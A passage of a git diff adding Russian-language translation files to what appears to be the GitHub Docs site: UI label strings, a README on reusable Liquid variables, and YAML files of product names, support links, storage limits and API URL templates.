вытягивание. + button: Внесите свой вклад + or: или + to_guidelines: "узнайте, как это сделать." +products: + graphql: + reference: + implements: Реализации + fields: Поля + arguments: Аргументы + name: Имя + type: Тип + description: Описание + input_fields: Поля ввода + return_fields: Поля возврата + implemented_by: Реализовано + values: Значения + possible_types: Возможные типы + preview_notice: Уведомление о предварительном просмотре + deprecation_notice: Уведомление об устаревании + preview_period: В течение периода предварительного просмотра API может быть изменен без уведомления. + overview: + preview_header: 'Чтобы включить этот предварительный просмотр и получить доступ к следующим элементам схемы, необходимо указать пользовательский тип носителя в заголовке "Принять":' + preview_schema_members: 'Элементы схемы, которые можно предварительно просматривать' + announced: Объявлено + updates: Обновления + rest: + reference: + default: По умолчанию + name: Имя + in: В + type: Тип + description: Описание + notes: Примечания + parameters: Параметры + response: Ответ + example_response: Пример ответа + status_code: Код состояния + http_status_code: Коды состояния HTTP-ответа + code_sample: Пример кода + code_samples: Примеры кода + preview_notice: Уведомление о предварительном просмотре + preview_notices: Уведомления о предварительном просмотре + see_preview_notice: Просмотр уведомления о предварительном просмотре + see_preview_notices: Просмотр уведомлений о предварительном просмотре + preview_header_is_required: Этот заголовок обязательный + preview_notice_to_change: Этот API-интерфейс находится на этапе предварительной версии и может быть изменен + works_with: Работает с + api_reference: Справочник по REST API + enum_description_title: Возможные значения + required: Обязательно + headers: Заголовки + query: Параметры запроса + path: Параметры пути + body: Параметры запроса +footer: + all_rights_reserved: Все права защищены + terms: Термины + privacy: Конфиденциальность + security: Безопасность + product: + heading: Продукт + links: + features: Компоненты + security: Безопасность + enterprise: Enterprise + case_studies: Примеры использования + pricing: Цены + resources: Ресурсы + platform: + heading: Платформа + links: + developer_api: API разработчика + partners: Участники + atom: Atom. + electron: Electron + github_desktop: GitHub Desktop + support: + heading: Поддержка + links: + help: Справка + community_forum: Форум сообщества + training: Обучение + status: Состояние + contact_github: Связаться с GitHub + company: + heading: Company + links: + about: Сведения + blog: Блог + careers: Карьеры + press: Сочетание клавиш + shop: Shop +product_landing: + quickstart: Краткое руководство + reference: Справочник + overview: Обзор + guides: Руководства + code_examples: Примеры кода + search_code_examples: Поиск примеров кода + search_results_for: Поиск результатов для + matches_displayed: Отображаемые соответствия + show_more: Показать больше + explore_people_and_projects: Изучение участников и проектов + sorry: Результат отсутствует для + no_example: "Похоже, у нас нет примера, соответствующего вашему фильтру." + try_another: Попробуйте другой фильтр или добавьте свой пример кода. + no_result: Руководств по вашему фильтру не найдено. + learn: Сведения о добавлении примера кода + communities_using_discussions: Сообщества с обсуждениями на GitHub.com + add_your_community: Добавления своего сообщества + sponsor_community: Сообщество спонсоров GitHub + supported_releases: Поддерживаемые выпуски + release_notes_for: Заметки о выпуске для + upgrade_from: Исходная версия + browse_all_docs: Просмотр всей документации + browse_all: Просмотр всей + docs: документации + explore_release_notes: Изучение заметок о выпуске + view: Просмотреть все +product_guides: + start_path: Начало схемы обучения + learning_paths: 'Схемы обучения {{ productMap[currentProduct].name }}' + learning_paths_desc: "Схемы обучения — это коллекция руководств, которые помогут вам освоить определенную тему." + guides: 'Руководства {{ productMap[currentProduct].name }}' + more_guides: Дополнительные руководства + load_more: Загрузка дополнительных руководств + all_guides: 'Все руководства {{ productMap[currentProduct].name }}' + filter_instructions: Фильтр списка руководств с помощью этих элементов управления + filters: + type: Тип + topic: Раздел + all: All + guides_found: + multiple: 'Найдено руководств: {n}' + one: Найдено 1 руководство + none: Руководств не найдено + guide_types: + overview: Обзор + quick_start: Краткое руководство + tutorial: Учебник + how_to: Практическое руководство + reference: Справочник +learning_track_nav: + prevGuide: Предыдущее руководство + nextGuide: Следующее руководство +toggle_images: + off: "Изображения отключены; щелкните, чтобы отобразить" + on: "Изображения включены; щелкните, чтобы скрыть" + hide_single: Скрытие изображения + show_single: Показ изображения +scroll_button: + scroll_to_top: Прокрутка до самого верха diff --git a/translations/ru-RU/data/variables/README.md b/translations/ru-RU/data/variables/README.md new file mode 100644 index 000000000000..40d863d48238 --- /dev/null +++ b/translations/ru-RU/data/variables/README.md @@ -0,0 +1,35 @@ +--- +ms.openlocfilehash: ad592a65f3aca30933dfd634f93abc0810015bf3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145070120" +--- +# Переменные + +Переменные — это короткие строки многократно используемого текста. + +Каждый файл YAML в этом каталоге содержит несколько переменных. + +Переменные *path*, *filename* и *keys* в каждом файле YAML определяют его путь в объекте данных. + +Например, возьмем файл `data/variables/foo/bar.yml`: + +```yaml +# multiple short strings in one file +meaning_of_life: 42 + +# and they can be nested if needed +nested: + values: + too: Yes! +``` + +Доступ к его значениям можно получить следующим образом: + +``` +{% data foo.bar.meaning_of_life %} + +{% data foo.bar.nested.values.too %} +``` diff --git a/translations/ru-RU/data/variables/actions.yml b/translations/ru-RU/data/variables/actions.yml new file mode 100644 index 000000000000..0f602d8439e0 --- /dev/null +++ b/translations/ru-RU/data/variables/actions.yml @@ -0,0 +1,2 @@ +azure_portal: 'Портал Azure' +hosted_runner: 'крупное средство выполнения' diff --git a/translations/ru-RU/data/variables/command_line.yml b/translations/ru-RU/data/variables/command_line.yml new file mode 100644 index 000000000000..8572858b289d --- /dev/null +++ b/translations/ru-RU/data/variables/command_line.yml @@ -0,0 +1,9 @@ +# Use this variable wherever backticks are necessary +backticks: >- + {% ifversion fpt or ghec %}github.com{% else %}[имя узла]{% endif %} +# Use this variable within codeblocks (because it includes HTML! Which only renders in shell codeblocks!) +codeblock: >- + {% ifversion fpt or ghec %}github.com{% else %}имя узла{% endif %} +# GitHub URL example +git_url_example: >- + https://{% ifversion fpt or ghec %}github.com{% else %}github.example.com{% endif %} diff --git a/translations/ru-RU/data/variables/contact.yml b/translations/ru-RU/data/variables/contact.yml new file mode 100644 index 000000000000..12088eacaf34 --- /dev/null +++ b/translations/ru-RU/data/variables/contact.yml @@ -0,0 +1,46 @@ +contact_ent_support: '[Поддержка GitHub Enterprise](https://support.github.com/contact?tags=docs-generic)' + +contact_support: >- + {% ifversion fpt or ghec %}[Поддержка GitHub](https://support.github.com/contact?tags=docs-generic){% elsif ghes %}ваш администратор сайта{% elsif ghae %}ваш владелец предприятия{% endif %} +report_abuse: >- + {% ifversion fpt or ghec %}[Сообщение о нарушении](https://github.com/contact/report-abuse){% endif %} +report_content: >- + {% ifversion fpt or ghec %}[Жалоба на содержимое](https://github.com/contact/report-content){% endif %} +contact_dmca: >- + {% ifversion fpt or ghec %}[Форма заявки на авторские права](https://github.com/contact/dmca){% endif %} +contact_privacy: >- + {% ifversion fpt or ghec %}[Форма для контактного лица по вопросам конфиденциальности](https://github.com/contact/privacy){% endif %} +contact_enterprise_sales: "[Отдел продаж GitHub](https://github.com/enterprise/contact)" + +contact_feedback_actions: '[Обсуждения сообщества GitHub для GitHub Actions](https://github.com/orgs/community/discussions/categories/actions-and-packages)' + +# The team that provides Standard Support +enterprise_support: 'Поддержка GitHub Enterprise' + +# The larger team that includes Enterprise Support and Premium Support +github_support: 'Сведения о поддержке GitHub' + +# The team that provides Premium Support +premium_support: 'Сведения о поддержке уровня "Премиум" GitHub' + +# Enterprise Support portal (previously the Zendesk portal at enterprise.githubsupport.com) +enterprise_portal: 'Портал поддержки GitHub' +contact_enterprise_portal: '[Портал поддержки GitHub](https://support.github.com/contact?tags=docs-generic)' + +# Azure support (GitHub AE) portal +ae_azure_portal: 'Портал службы поддержки Azure' +contact_ae_portal: '[Портал службы поддержки Azure](https://portal.azure.com/#blade/Microsoft_Azure_Support/HelpAndSupportBlade)' + +# GitHub Support portal (for dotcom - this sends users to a contact form) +support_portal: 'Портал поддержки GitHub' +contact_support_portal: '[Портал поддержки GitHub](https://support.github.com/contact?tags=docs-generic)' + +# GitHub Support portal (this sends users to the Support landing page) +landing_page_portal: 'Портал поддержки GitHub' +contact_landing_page_portal: '[Портал поддержки GitHub](https://support.github.com/)' + +# The team that provides GitHub Community Support on the GitHub Community forum (for GitHub Free) +community_support: 'Поддержка сообщества GitHub' + +# GitHub Community discussions +community_support_forum: '[Обсуждения сообщества GitHub](https://github.com/orgs/community/discussions)' diff --git a/translations/ru-RU/data/variables/desktop.yml b/translations/ru-RU/data/variables/desktop.yml new file mode 100644 index 000000000000..b3133244011a --- /dev/null +++ b/translations/ru-RU/data/variables/desktop.yml @@ -0,0 +1,5 @@ +# Supported platforms + +mac-osx-versions: macOS 10.12 или более поздней версии + +windows-versions: Windows 7 (64-разрядная) или более поздней версии diff --git a/translations/ru-RU/data/variables/enterprise.yml b/translations/ru-RU/data/variables/enterprise.yml new file mode 100644 index 000000000000..960ab1562c3a --- /dev/null +++ b/translations/ru-RU/data/variables/enterprise.yml @@ -0,0 +1,3 @@ +management_console: 'Консоль управления' +# https://support.github.com/enterprise/server-upgrade +upgrade_assistant: 'Помощник по обновлению' diff --git a/translations/ru-RU/data/variables/explore.yml b/translations/ru-RU/data/variables/explore.yml new file mode 100644 index 000000000000..b1cf9f9559a2 --- /dev/null +++ b/translations/ru-RU/data/variables/explore.yml @@ -0,0 +1,6 @@ +explore_github: >- + {% ifversion fpt or ghec %}[Обзор GitHub](https://github.com/explore){% else %}Обзор GitHub (https://[hostname]/explore){% endif %} +your_stars_page: >- + {% ifversion fpt or ghec %}[Страница избранного](https://github.com/stars){% else %}Страница избранного (https://[hostname]/stars){% endif %} +trending_page: >- + {% ifversion fpt or ghec %}[Страница "Популярные"](https://github.com/trending){% else %}Страница "Популярные" (https://[hostname]/trending){% endif %} diff --git a/translations/ru-RU/data/variables/gists.yml b/translations/ru-RU/data/variables/gists.yml new file mode 100644 index 000000000000..505042060148 --- /dev/null +++ b/translations/ru-RU/data/variables/gists.yml @@ -0,0 +1,6 @@ +gist_homepage: >- + {% ifversion fpt or ghec %}[Домашняя страница gist](https://gist.github.com/){% elsif ghae %}Домашняя страница gist, http(s)://gist.[hostname]{% else %}Домашняя страница gist, http(s)://[hostname]/gist или http(s)://gist.[hostname], если поддерживаются поддомены{% endif %} +gist_search_url: >- + {% ifversion fpt or ghec %}[Поиск Gist](https://gist.github.com/search){% elsif ghae %}Поиск Gist, http(s)://gist.[hostname]/search{% else %}Поиск Gist, http(s)://[hostname]/gist/search или http(s)://gist.[hostname]/search, если поддерживаются поддомены{% endif %} +discover_url: >- + {% ifversion fpt or ghec %}[Страница поиска](https://gist.github.com/discover){% elsif ghae %}Страница поиска, http(s)://gist.[hostname]/discover{% else %}Страница поиска, http(s)://[hostname]/gist/discover или http(s)://gist.[hostname]/discover, если поддерживаются поддомены{% endif %} diff --git a/translations/ru-RU/data/variables/large_files.yml b/translations/ru-RU/data/variables/large_files.yml new file mode 100644 index 000000000000..2537f01e7c21 --- /dev/null +++ b/translations/ru-RU/data/variables/large_files.yml @@ -0,0 +1,14 @@ +product_name_long: 'Хранилище больших файлов Git' +product_name_short: 'Git LFS' +warning_size: '50 MБ' +max_github_size: '100 МБ' +max_github_browser_size: '25 Мб' +initial_bandwidth_quota: '1 ГБ' +initial_storage_quota: '1 ГБ' +max_lfs_size: '2 ГБ' +max_file_size: '2 ГБ' +command_name: lfs +version_name: "https://git-lfs.github.com/spec/v1" +pack_monthly_price: 5 долл. США в месяц +pack_monthly_bandwidth: '50 ГБ' +pack_monthly_storage: '50 ГБ' diff --git a/translations/ru-RU/data/variables/migrations.yml b/translations/ru-RU/data/variables/migrations.yml new file mode 100644 index 000000000000..38c19aa649ac --- /dev/null +++ b/translations/ru-RU/data/variables/migrations.yml @@ -0,0 +1,6 @@ +user_migrations_intro: >- + С помощью этого API можно просматривать, копировать и переносить данные пользователей, хранящиеся на {% data variables.product.product_name %}.com. +organization_migrations_intro: >- + API миграции организаций позволяет переносить репозиторий из {% data variables.product.prodname_dotcom_the_website %} в {% data variables.product.prodname_ghe_server %}. Дополнительные сведения см. в разделе "[Экспорт данных миграции из GitHub.com](/enterprise-server@latest/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom)" в документации по {% data variables.product.prodname_ghe_server %}. +source_imports_intro: >- + API импорта источника позволяет запустить импорт из исходного репозитория Git, Subversion, Mercurial или системы управления версиями Team Foundation. Он предоставляет те же возможности, что и средство {% data variables.product.prodname_dotcom %} Importer. Дополнительные сведения см. в статье "[Импорт репозитория с помощью средства {% data variables.product.prodname_dotcom %} Importer](/github/importing-your-projects-to-github/importing-a-repository-with-github-importer)". diff --git a/translations/ru-RU/data/variables/notifications.yml b/translations/ru-RU/data/variables/notifications.yml new file mode 100644 index 000000000000..45d9822955ea --- /dev/null +++ b/translations/ru-RU/data/variables/notifications.yml @@ -0,0 +1,4 @@ +no_reply_address: >- + {% ifversion fpt or ghec %}`noreply@github.com`{% else %}адрес электронной почты для сообщений, не требующих ответа, настроенный вашим администратором сайта{% endif %} +cc_address: >- + {% ifversion fpt or ghec %}`@noreply.github.com`{% else %}на основе адреса электронной почты для сообщений, не требующих ответа, настроенного вашим администратором сайта{% endif %} diff --git a/translations/ru-RU/data/variables/product.yml b/translations/ru-RU/data/variables/product.yml new file mode 100644 index 000000000000..4abb49b4644c --- /dev/null +++ b/translations/ru-RU/data/variables/product.yml @@ -0,0 +1,278 @@ +# Contains versioned and unversioned variables for all of our product names +## WARNING: Versioned variables don't work as expected in articles under "content/enterprise/admin/". Use unversioned variables instead. + +# Company + +company_short: 'GitHub' + +# GitHub's flagship products +product_name: >- + {% ifversion ghec %}GitHub Enterprise Cloud{% elsif ghes %}GitHub Enterprise Server{% elsif ghae %}GitHub AE{% else %}GitHub{% endif %} +## Use this variable when the output should always be GitHub, regardless of the product the user is using +prodname_dotcom: 'GitHub' + +## Use this variable when the output should always be GitHub Enterprise, regardless of the product the user is using +prodname_enterprise: 'GitHub Enterprise' + +## Use this variable only when the output should specifically be GitHub.com, to distinguish from GitHub the company or other GitHub products (e.g. connecting GHE to GitHub.com) +prodname_dotcom_the_website: 'GitHub.com' + +## Use these variables when the output should reflect one of our two specific GitHub Enterprise offerings +prodname_ghe_server: 'GitHub Enterprise Server' +prodname_ghe_cloud: 'GitHub Enterprise Cloud' +prodname_ghe_managed: 'GitHub AE' +prodname_ghe_one: 'GitHub One' +prodname_docs: 'GitHub Docs' + +prodname_free_user: 'GitHub Free' +prodname_pro: 'GitHub Pro' +prodname_team: 'GitHub Team' +prodname_free_team: 'GitHub Free' + +prodname_enterprise_backup_utilities: 'GitHub Enterprise Server Backup Utilities' + +# GitHub Connect (enterprise accounts, other unified features) +prodname_github_connect: 'GitHub Connect' + +# GitHub Enterprise migration tool +prodname_importer_proper_name: 'GitHub Enterprise Importer' + +# GitHub Education +prodname_education: 'GitHub Education' +prodname_education_community: 'Education Community' +prodname_education_community_with_url: 'the [GitHub Education Community](https://github.com/orgs/community/discussions/categories/github-education)' +prodname_education_forum_link: 'https://github.com/orgs/community/discussions/categories/github-education' +prodname_classroom: 'GitHub Classroom' +prodname_classroom_with_url: '[GitHub Classroom](https://classroom.github.com/login)' +prodname_campus_program: 'GitHub Campus Program' +prodname_student_pack: 'GitHub Student Developer Pack' +prodname_global_campus: 'GitHub Global Campus' +prodname_community_exchange: 'GitHub Community Exchange' + +# GitHub CLI +prodname_cli: 'GitHub CLI' + +# GitHub Desktop +prodname_desktop: 'GitHub Desktop' +desktop_link: 'https://desktop.github.com/' + +# GitHub Mobile +prodname_mobile: 'GitHub Mobile' +prodname_ios: 'GitHub for iOS' +prodname_android: 'GitHub for Android' + +# GitHub Pages +prodname_pages: 'GitHub Pages' + +# CodeQL +prodname_codeql: 'CodeQL' +prodname_ql: 'QL' +prodname_codeql_cli: 'CodeQL CLI' +# The CodeQL CLI version recommended for each GHES version. +# CodeQL usually bumps its minor version for each minor version of GHES. +# Update this whenever a new enterprise version of CodeQL is being prepared. +codeql_cli_ghes_recommended_version: >- + {% ifversion ghes < 3.5 or ghae < 3.5 %}2.7.6{% elsif ghes = 3.5 or ghae = 3.5 %}2.8.5{% elsif ghes = 3.6 or ghae = 3.6 %}2.9.4{% elsif ghes = 3.7 or ghae = 3.7 %}2.10.5{% endif %} + +# Projects v2 +prodname_projects_v2: 'Projects' +prodname_projects_v1: >- + {% ifversion ghes or ghae %}project boards{% else %}projects (classic){% endif %} +prodname_projects_v1_caps: >- + {% ifversion ghes or ghae %}Project boards{% else %}Projects (classic){% endif %} +prodname_project_v1: >- + {% ifversion ghes or ghae %}project board{% else %}project (classic){% endif %} +prodname_project_v1_caps: >- + {% ifversion ghes or ghae %}Project board{% else %}Project (classic){% endif %} + +# Personal access tokens +pat_generic: 'personal access token' +pat_generic_caps: 'Personal access token' +pat_generic_title_case: 'Personal Access Token' +pat_v2: 'fine-grained personal access token' +pat_v2_caps: 'Fine-grained personal access token' +pat_v1: >- + {% ifversion pat-v2 %}personal access token (classic){% else %}personal access token{% endif %} +pat_v1_plural: >- + {% ifversion pat-v2 %}personal access tokens (classic){% else %}personal access tokens{% endif %} +pat_v1_caps: >- + {% ifversion pat-v2 %}Personal access token (classic){% else %}Personal access token{% endif %} +pat_v1_caps_plural: >- + {% ifversion pat-v2 %}Personal access tokens (classic){% else %}Personal access tokens{% endif %} + +# Apps, GitHub Marketplace, and integrations +prodname_marketplace: 'GitHub Marketplace' +prodname_github_app: 'GitHub App' +prodname_github_apps: 'GitHub Apps' +prodname_oauth_app: 'OAuth App' +prodname_oauth_apps: 'OAuth Apps' + +# API and developer docs +prodname_enterprise_api: '{% ifversion ghes %}GitHub Enterprise Server{% elsif ghae %}GitHub AE{% endif %} APIs' +prodname_unfurls: 'Content Attachments' + +# GitHub Actions +## Use this variable only when referring to GitHub Actions the product. When referring to the thing that someone creates using the product, call it an action (small a). See the terminology page of the Brand Guide for more. +prodname_actions: 'GitHub Actions' + +# GitHub Debug +prodname_debug: 'GitHub Debug' + +# GitHub Discussions +prodname_discussions: 'GitHub Discussions' + +# GitHub Enterprise Managed Users +prodname_emu_idp_application: 'GitHub Enterprise Managed User' +prodname_emu_idp_oidc_application: 'GitHub Enterprise Managed User (OIDC)' +prodname_emus: 'Enterprise Managed Users' + +# GitHub Issues +prodname_github_issues: 'GitHub Issues' + +# GitHub Packages +prodname_registry: 'GitHub Packages' +prodname_container_registry: 'Container registry' +prodname_container_registries: 'Container registries' +prodname_docker_registry_namespace: '{% ifversion fpt or ghec %}`docker.pkg.github.com`{% elsif ghes or ghae %}docker.HOSTNAME{% endif %}' +prodname_container_registry_namespace: '{% ifversion fpt or ghec %}`ghcr.io`{% elsif ghes or ghae %}containers.HOSTNAME{% endif %}' +prodname_npm_registry: 'npm registry' + +# GitHub Insights +prodname_insights: 'GitHub Insights' + +# GitHub Sponsors +prodname_sponsors: 'GitHub Sponsors' +prodname_matching_fund: 'GitHub Sponsors Matching Fund' + +# GitHub Advanced Security +prodname_GH_advanced_security: 'GitHub Advanced Security' +prodname_advanced_security: 'Advanced Security' + +# Codespaces +prodname_codespaces: 'Codespaces' +prodname_github_codespaces: 'GitHub Codespaces' +prodname_serverless: 'web-based editor' + +# GitHub resources: blog, jobs, skills +prodname_gcf: 'GitHub Community Support' +prodname_github_community: 'GitHub Community' +prodname_blog: 'the GitHub Blog' +prodname_jobs: 'GitHub Jobs' +prodname_learning: 'GitHub Skills' +prodname_learning_link: 'https://skills.github.com/' +prodname_roadmap: 'GitHub public roadmap' +prodname_roadmap_link: 'https://github.com/github/roadmap#github-public-roadmap' + +# GitHub support +premium_support_plan: 'Premium plan' +premium_plus_support_plan: 'Premium Plus plan / GitHub Engineering Direct' +microsoft_premium_plus_support_plan: 'GitHub Engineering Direct' +support_ticket_priority_urgent: 'Urgent' +support_ticket_priority_high: 'High' +support_ticket_priority_normal: 'Normal' +support_ticket_priority_low: 'Low' + +# GitHub Professional Services +prodname_professional_services: 'GitHub Professional Services' +prodname_professional_services_team: 'Professional Services' + +# GitHub Security Lab +prodname_security: 'GitHub Security Lab' +prodname_security_link: 'https://securitylab.github.com/' + +# GitHub Security Advisories +prodname_security_advisories: 'GitHub Security Advisories' +prodname_advisory_database: 'GitHub Advisory Database' + +# Secret scanning +prodname_secret_scanning: 'secret scanning' # Overall feature name and name for GHES and GHAE +prodname_secret_scanning_caps: 'Secret scanning' +prodname_secret_scanning_partner: 'secret scanning for partner patterns' # GitHub.com feature for public repos only +prodname_secret_scanning_partner_caps: 'Secret scanning for partner patterns' +prodname_secret_scanning_GHAS: + >- # Includes GitHub.com name for GHAS licenced feature + {% ifversion fpt or ghec %}secret scanning for advanced security{% else %}secret scanning{% endif %} +prodname_secret_scanning_GHAS_caps: >- + {% ifversion fpt or ghec %}Secret scanning for advanced security{% else %}Secret scanning{% endif %} + +# Code scanning +prodname_code_scanning: 'code scanning' +prodname_code_scanning_capc: 'Code scanning' + +# Visual Studio +prodname_vs: 'Visual Studio' +prodname_vscode_shortname: 'VS Code' +prodname_vscode: 'Visual Studio Code' +prodname_vscode_command_palette_shortname: 'VS Code Command Palette' +prodname_vscode_command_palette: 'Visual Studio Code Command Palette' +prodname_vscode_marketplace: 'Visual Studio Code Marketplace' +prodname_vs_marketplace_shortname: 'VS Code Marketplace' + +# GitHub Dependabot +prodname_dependabot: 'Dependabot' +prodname_dependabot_alerts: 'Dependabot alerts' +prodname_dependabot_security_updates: 'Dependabot security updates' +prodname_dependabot_version_updates: 'Dependabot version updates' +prodname_dependabot_updates: 'Dependabot updates' + +# Dependency review action +prodname_dependency_review_action: 'dependency review action' + +# GitHub Archive Program +prodname_archive: 'GitHub Archive Program' +prodname_arctic_vault: 'Arctic Code Vault' + +# GitHub Copilot +prodname_copilot: 'GitHub Copilot' +prodname_copilot_short: 'Copilot' + +# Command Palette +prodname_command_palette: 'GitHub Command Palette' + +# Server Statistics +prodname_server_statistics: 'Server Statistics' + +# GitHub Actions Importer +prodname_actions_importer: 'GitHub Actions Importer' + +# Links +product_url: >- + {% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %} +pricing_url: 'https://github.com/pricing' +signin_link: >- + {% ifversion fpt or ghec %}[Sign in](https://github.com/login){% else %}Sign in (`https://HOSTNAME/login`){% endif %} +signout_link: >- + {% ifversion fpt or ghec %}[Sign out](https://github.com/logout){% else %}Sign out (`https://HOSTNAME/logout`){% endif %} +raw_github_com: >- + {% ifversion fpt or ghec %}raw.githubusercontent.com{% else %}HOSTNAME/user/repo/raw{% endif %} +# GitHub Enterprise Server past versions +current-340-version: '11.10.354' + +# Developer site product variables +# Use this inside command-line and other code blocks +doc_url_pre: >- + {% ifversion fpt or ghec %}https://docs.github.com/rest{% elsif ghes %}https://docs.github.com/enterprise/{{ currentVersion | version_num }}/rest{% elsif ghae %}https://docs.github.com/github-ae@latest/rest{% endif %} +# Use this inside command-line code blocks +api_url_pre: >- + {% ifversion fpt or ghec %}https://api.github.com{% elsif ghes %}http(s)://HOSTNAME/api/v3{% elsif ghae %}https://HOSTNAME/api/v3{% endif %} +# Use this inside command-line code blocks +# Enterprise OAuth paths that don't include "/graphql" or "/api/v3" +oauth_host_code: >- + {% ifversion fpt or ghec %}https://github.com{% else %}http(s)://HOSTNAME{% endif %} +device_authorization_url: >- + {%- ifversion fpt or ghec %} + [`https://github.com/login/device`](https://github.com/login/device) + {%- elsif ghes %} + `http(s)://HOSTNAME/login/device` + {%- elsif ghae %} + `https://HOSTNAME/login/device` + {%- endif %} +# Use this all other code blocks +api_url_code: >- + {% ifversion fpt or ghec %}https://api.github.com{% elsif ghes %}http(s)://HOSTNAME/api/v3{% elsif ghae %}https://HOSTNAME/api/v3{% endif %} +# Use this inside command-line code blocks +graphql_url_pre: >- + {% ifversion fpt or ghec %}https://api.github.com/graphql{% elsif ghes %}http(s)://HOSTNAME/api/graphql{% elsif ghae %}https://HOSTNAME/api/graphql{% endif %} +# Use this all other code blocks +graphql_url_code: >- + {% ifversion fpt or ghec %}https://api.github.com/graphql{% elsif ghes %}http(s)://HOSTNAME/api/graphql{% elsif ghae %}https://HOSTNAME/api/graphql{% endif %} diff --git a/translations/ru-RU/data/variables/projects.yml b/translations/ru-RU/data/variables/projects.yml new file mode 100644 index 000000000000..6e4baab65667 --- /dev/null +++ b/translations/ru-RU/data/variables/projects.yml @@ -0,0 +1,23 @@ +projects_v2: 'projects' +projects_v2_caps: 'Projects' +project_v2: 'project' +project_v2_caps: 'Project' + +projects_v1_board: >- + {% ifversion ghae or ghes%}project board{% else %}classic project{% endif %} +projects_v1_board_caps: >- + {% ifversion ghes or ghae %}Project board{% else %}Classic project{% endif %} +projects_v1_boards: >- + {% ifversion ghes or ghae %}project boards{% else %}classic projects{% endif %} +projects_v1_boards_caps: >- + {% ifversion ghes or ghae %}Project boards{% else %}Classic projects{% endif %} + +command-palette-shortcut: 'Command+K (Mac) or Ctrl+K (Windows/Linux)' + +# Use feature flags to return which projects versions are available. +projects_v2_and_v1: '{% ifversion projects-v2 %}{% data variables.projects.projects_v2 %}{% ifversion projects-v1 %} and {% data variables.projects.projects_v1_boards %}{% endif %}{% else %}{% data variables.projects.projects_v1_boards %}{% endif %}' +project_v2_and_v1: '{% ifversion projects-v2 %}{% data variables.projects.project_v2 %}{% ifversion projects-v1 %} and {% data variables.projects.projects_v1_board %}{% endif %}{% else %}{% data variables.projects.projects_v1_board %}{% endif %}' + +# Limits +item_limit: '1,200' +archived_item_limit: '10,000' diff --git a/translations/ru-RU/data/variables/release_candidate.yml b/translations/ru-RU/data/variables/release_candidate.yml new file mode 100644 index 000000000000..026d2f7e61ab --- /dev/null +++ b/translations/ru-RU/data/variables/release_candidate.yml @@ -0,0 +1 @@ +version: '' diff --git a/translations/ru-RU/data/variables/search.yml b/translations/ru-RU/data/variables/search.yml new file mode 100644 index 000000000000..800a55dd22a6 --- /dev/null +++ b/translations/ru-RU/data/variables/search.yml @@ -0,0 +1,4 @@ +advanced_url: >- + {% ifversion fpt or ghec %}страница [расширенного поиска](https://github.com/search/advanced){% else %}страница расширенного поиска (https://[hostname]/search/advanced){% endif %} +search_page_url: >- + {% ifversion fpt or ghec %}страница [поиска](https://github.com/search){% else %}страница поиска (https://[hostname]/search){% endif %}